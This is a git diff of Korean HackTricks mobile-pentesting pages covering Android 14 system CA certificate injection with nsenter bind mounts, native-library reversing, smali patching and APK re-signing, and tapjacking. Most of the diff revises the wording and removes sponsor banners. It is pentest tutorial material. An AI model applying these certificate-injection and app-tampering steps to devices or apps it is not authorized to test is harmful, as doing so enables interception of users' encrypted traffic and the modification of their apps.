## Android 14 이후 -최신 Android 14 릴리스에서는 시스템 신뢰 CA 인증서 처리 방식에 중대한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 저장되어 루트 권한을 가진 사용자가 접근하고 수정할 수 있었으며, 이를 통해 시스템 전반에 즉시 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동하였으며, 이는 본질적으로 변경 불가능한 디렉토리입니다. +최신 Android 14 릴리스에서는 시스템 신뢰 CA 인증서 처리 방식에 중대한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 저장되어 루트 권한을 가진 사용자가 접근하고 수정할 수 있었으며, 이를 통해 시스템 전반에 즉시 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동하였으며, 이는 본질적으로 변경 불가능한 **`/apex`** 경로 내의 디렉토리입니다. **APEX cacerts 경로**를 쓰기 가능으로 다시 마운트하려는 시도는 실패로 돌아가며, 시스템은 이러한 작업을 허용하지 않습니다. 임시 파일 시스템(tmpfs)으로 디렉토리를 언마운트하거나 오버레이하려는 시도조차 불변성을 우회하지 못하며, 애플리케이션은 파일 시스템 수준의 변경과 관계없이 원래 인증서 데이터에 계속 접근합니다. 이러한 회복력은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있어 **`/apex`** 디렉토리 내의 수정이 다른 프로세스에 영향을 미치지 않도록 보장합니다. Android 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 포함하여 애플리케이션 프로세스를 시작하는 역할을 하며, 여기에는 개인 **`/apex`** 마운트가 포함되어 있어 이 디렉토리의 변경 사항이 다른 프로세스와 격리됩니다. -그럼에도 불구하고 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우를 위한 우회 방법이 존재합니다. 이는 PRIVATE 전파를 제거하기 위해 **`/apex`**를 수동으로 다시 마운트하여 쓰기 가능하게 만드는 것을 포함합니다. 이 과정은 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트한 후, 내용을 원래 위치인 **`/apex`**로 복원하는 것을 포함합니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치를 요구합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 재시작하는 것이 좋으며, 이는 모든 애플리케이션을 효과적으로 재시작하고 시스템을 일관된 상태로 만듭니다. +그럼에도 불구하고 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 우회 방법이 존재합니다. 이는 PRIVATE 전파를 제거하기 위해 **`/apex`**를 수동으로 다시 마운트하여 쓰기 가능하게 만드는 것입니다. 이 과정에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트한 후, 내용을 원래 위치인 **`/apex`**로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치를 요구합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 재시작하는 것이 좋으며, 이는 모든 애플리케이션을 효과적으로 재시작하고 시스템을 일관된 상태로 만듭니다. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -131,7 +128,7 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi ``` 이것은 시작되는 모든 새로운 앱이 업데이트된 CA 인증서 설정을 준수하도록 보장합니다. -4. **실행 중인 앱에 변경 사항 적용**: 이미 실행 중인 애플리케이션에 변경 사항을 적용하기 위해, `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가고 유사한 바인드 마운트를 수행합니다. 필요한 명령은: +4. **실행 중인 앱에 변경 사항 적용**: 이미 실행 중인 애플리케이션에 변경 사항을 적용하기 위해, `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가 유사한 바인드 마운트를 수행합니다. 필요한 명령은: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` @@ -141,8 +138,5 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/ - [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 17c1fae2f..a10c7f526 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -2,32 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -
- -8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요: - -{% embed url="https://academy.8ksec.io/" %} - **자세한 정보는 다음을 확인하세요:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Android 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성코드 제작자들도 이러한 라이브러리를 사용하며, DEX 바이트코드보다 리버스 엔지니어링이 더 어렵습니다. 이 섹션은 어셈블리 언어를 가르치는 대신 Android에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다. +안드로이드 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성코드 제작자들도 이러한 라이브러리를 사용하며, 이는 DEX 바이트코드보다 리버스 엔지니어링이 더 어렵습니다. 이 섹션은 어셈블리 언어를 가르치는 대신 안드로이드에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다. ### 주요 사항: -- **Android 앱의 네이티브 라이브러리:** +- **안드로이드 앱의 네이티브 라이브러리:** - 성능 집약적인 작업에 사용됩니다. - C 또는 C++로 작성되어 리버스 엔지니어링이 어렵습니다. -- Linux 바이너리와 유사한 `.so` (공유 객체) 형식으로 발견됩니다. -- 악성코드 제작자는 분석을 어렵게 하기 위해 네이티브 코드를 선호합니다. -- **Java 네이티브 인터페이스 (JNI) 및 Android NDK:** -- JNI는 Java 메서드를 네이티브 코드로 구현할 수 있게 합니다. -- NDK는 네이티브 코드를 작성하기 위한 Android 전용 도구 세트입니다. -- JNI와 NDK는 Java(또는 Kotlin) 코드를 네이티브 라이브러리와 연결합니다. +- 리눅스 바이너리와 유사한 `.so` (공유 객체) 형식으로 발견됩니다. +- 악성코드 제작자는 분석을 어렵게 만들기 위해 네이티브 코드를 선호합니다. +- **자바 네이티브 인터페이스 (JNI) 및 안드로이드 NDK:** +- JNI는 자바 메서드를 네이티브 코드로 구현할 수 있게 합니다. +- NDK는 네이티브 코드를 작성하기 위한 안드로이드 전용 도구 세트입니다. +- JNI와 NDK는 자바(또는 코틀린) 코드와 네이티브 라이브러리를 연결합니다. - **라이브러리 로딩 및 실행:** - 라이브러리는 `System.loadLibrary` 또는 `System.load`를 사용하여 메모리에 로드됩니다. - 라이브러리 로딩 시 JNI_OnLoad가 실행됩니다. -- Java에서 선언된 네이티브 메서드는 네이티브 함수에 연결되어 실행을 가능하게 합니다. -- **Java 메서드를 네이티브 함수에 연결하기:** +- 자바에서 선언된 네이티브 메서드는 네이티브 함수에 연결되어 실행을 가능하게 합니다. +- **자바 메서드를 네이티브 함수에 연결하기:** - **동적 링크:** 네이티브 라이브러리의 함수 이름이 특정 패턴과 일치하여 자동 링크를 허용합니다. - **정적 링크:** `RegisterNatives`를 사용하여 링크하며, 함수 이름 및 구조에 유연성을 제공합니다. - **리버스 엔지니어링 도구 및 기술:** @@ -42,15 +36,9 @@ Android 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++ - Azeria Labs의 [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)를 추천합니다. - **JNI 및 NDK 문서:** - [Oracle의 JNI 사양](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) -- [Android의 JNI 팁](https://developer.android.com/training/articles/perf-jni) +- [안드로이드의 JNI 팁](https://developer.android.com/training/articles/perf-jni) - [NDK 시작하기](https://developer.android.com/ndk/guides/) - **네이티브 라이브러리 디버깅:** -- [JEB 디컴파일러를 사용하여 Android 네이티브 라이브러리 디버깅하기](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) - -
- -8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요: - -{% embed url="https://academy.8ksec.io/" %} +- [JEB 디컴파일러를 사용하여 안드로이드 네이티브 라이브러리 디버깅하기](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index 47cd708e3..2fcfb8e16 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -2,13 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미와 함께 iOS 및 Android 보안을 마스터하고 자율 학습 과정을 통해 인증을 받으세요: - -{% embed url="https://academy.8ksec.io/" %} - -때때로 숨겨진 정보를 접근하기 위해 애플리케이션 코드를 수정하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호나 플래그). 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다. +때때로 숨겨진 정보를 접근하기 위해 애플리케이션 코드를 수정하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호나 플래그). 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다. **Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) @@ -16,28 +10,28 @@ **Visual Studio Code**와 [APKLab](https://github.com/APKLab/APKLab) 확장을 사용하면 **자동으로 디컴파일**, 수정, **재컴파일**, 서명 및 애플리케이션을 설치할 수 있습니다. 어떤 명령도 실행할 필요가 없습니다. -또한 이 작업을 많이 용이하게 하는 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다. +이 작업을 많이 용이하게 하는 또 다른 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다. ## Decompile the APK -APKTool을 사용하면 **smali 코드 및 리소스**에 접근할 수 있습니다: +APKTool을 사용하면 **smali 코드와 리소스**에 접근할 수 있습니다: ```bash apktool d APP.apk ``` -If **apktool**에서 오류가 발생하면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요. +만약 **apktool**이 오류를 발생시킨다면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요. -**확인해야 할 흥미로운 파일은**: +당신이 **살펴봐야 할 흥미로운 파일들**은 다음과 같습니다: - _res/values/strings.xml_ (및 res/values/* 내의 모든 xml) - _AndroidManifest.xml_ - 확장자가 _.sqlite_ 또는 _.db_인 모든 파일 -`apktool`이 **애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** 인수를 사용해 보세요 (리소스를 디코딩하지 않음). 그런 다음, 문제가 리소스에 있었고 소스 코드에 없었다면, 문제는 발생하지 않을 것입니다 (리소스도 디컴파일되지 않습니다). +만약 `apktool`이 **애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** (리소스를 디코딩하지 않음) 인수를 사용해 보세요. 그러면 문제가 리소스에 있었고 소스 코드에는 없었다면, 문제를 겪지 않을 것입니다 (리소스도 디컴파일하지 않습니다). ## Smali 코드 변경 -**명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, **새 명령어를 추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경하며, **smalise 확장 프로그램**을 설치하면 편집기가 **명령어가 잘못되었는지** 알려줍니다.\ -여기에서 **예제**를 찾을 수 있습니다: +당신은 **명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, **새로운 명령어를 추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경하며, 그 후 **smalise 확장**을 설치하면 편집기가 어떤 **명령어가 잘못되었는지** 알려줍니다.\ +일부 **예제**는 여기에서 찾을 수 있습니다: - [Smali 변경 예제](smali-changes.md) - [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md) @@ -50,13 +44,13 @@ If **apktool**에서 오류가 발생하면, [**최신 버전**](https://ibotpea ```bash apktool b . #In the folder generated when you decompiled the application ``` -새로운 APK는 _**dist**_ 폴더 **내부**에서 **컴파일**됩니다. +새 APK는 _**dist**_ 폴더 **내부**에서 **컴파일**됩니다. 만약 **apktool**이 **오류**를 발생시키면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요. -### **새로운 APK 서명하기** +### **새 APK 서명하기** -그 다음, **키를 생성**해야 합니다(비밀번호와 무작위로 입력할 수 있는 몇 가지 정보가 요청됩니다): +그런 다음, **키를 생성**해야 합니다(비밀번호와 무작위로 입력할 수 있는 몇 가지 정보가 요청됩니다): ```bash keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ``` @@ -73,7 +67,7 @@ zipalign -v 4 infile.apk ``` ### **새 APK 서명하기 (다시?)** -만약 **apksigner**를 사용하고 싶다면, **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다**. 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 **aspsigner로 서명해야 합니다** (zipalign 이후). +**apksigner**를 사용하고 싶다면 [**apksigner**](https://developer.android.com/studio/command-line/) 대신 jarsigner를 사용하세요. **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다.** 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 aspsigner로 (zipalign 이후). ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk ``` @@ -148,14 +142,14 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin - 함수 내에서 선언된 변수를 사용할 경우 (선언된 v0, v1, v2...) 이 줄들을 _.local \_와 변수 선언(_const v0, 0x1_) 사이에 넣으세요. - 함수 코드 중간에 로깅 코드를 넣고 싶다면: - 선언된 변수의 수에 2를 추가하세요: 예: _.locals 10_에서 _.locals 12_로. - - 새로운 변수는 이미 선언된 변수의 다음 숫자가 되어야 합니다 (이 예에서는 _v10_과 _v11_이 되어야 하며, v0에서 시작한다는 것을 기억하세요). - - 로깅 함수의 코드를 변경하고 _v10_과 _v11_을 _v5_와 _v1_ 대신 사용하세요. + - 새로운 변수는 이미 선언된 변수의 다음 숫자여야 합니다 (이 예에서는 _v10_과 _v11_이어야 하며, v0에서 시작한다는 것을 기억하세요). + - 로깅 함수의 코드를 변경하고 _v5_와 _v1_ 대신 _v10_과 _v11_을 사용하세요. ### 토스트 함수 시작 부분에서 _.locals_의 수에 3을 추가하는 것을 잊지 마세요. -이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수의** **숫자**는 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 가져와 **String**으로 **변환**한 다음 **그 값으로** **토스트**를 만듭니다. +이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수의** **숫자**는 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 가져와 **String**으로 **변환**한 다음 **그 값으로** **토스트**를 **만들** 것입니다. ```bash const/4 v10, 0x1 const/4 v11, 0x1 @@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` -
- -**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미와 함께 iOS 및 Android 보안을 마스터하고 자격증을 취득하세요: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 5beaa29ba..e2df80f95 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## **기본 정보** **Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\ @@ -13,13 +9,13 @@ ### 탐지 -이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다 (intent-filter가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보낸 활동을 찾은 후, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**. +이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다 (인텐트 필터가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보낸 활동을 찾으면, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**. ### 보호 #### Android 12 (API 31,32) 및 그 이상 -[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking 공격은 Android 12 (API 31 & 30) 및 그 이상에서 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**. +[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking 공격은 Android 12 (API 31 & 30) 및 그 이상에서 Android에 의해 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**. #### `filterTouchesWhenObscured` @@ -27,7 +23,7 @@ #### **`setFilterTouchesWhenObscured`** -**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면 안드로이드 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\ +**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면 Android 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\ 예를 들어, **`true`**로 설정하면 버튼이 **가려질 경우 자동으로 비활성화**될 수 있습니다: ```xml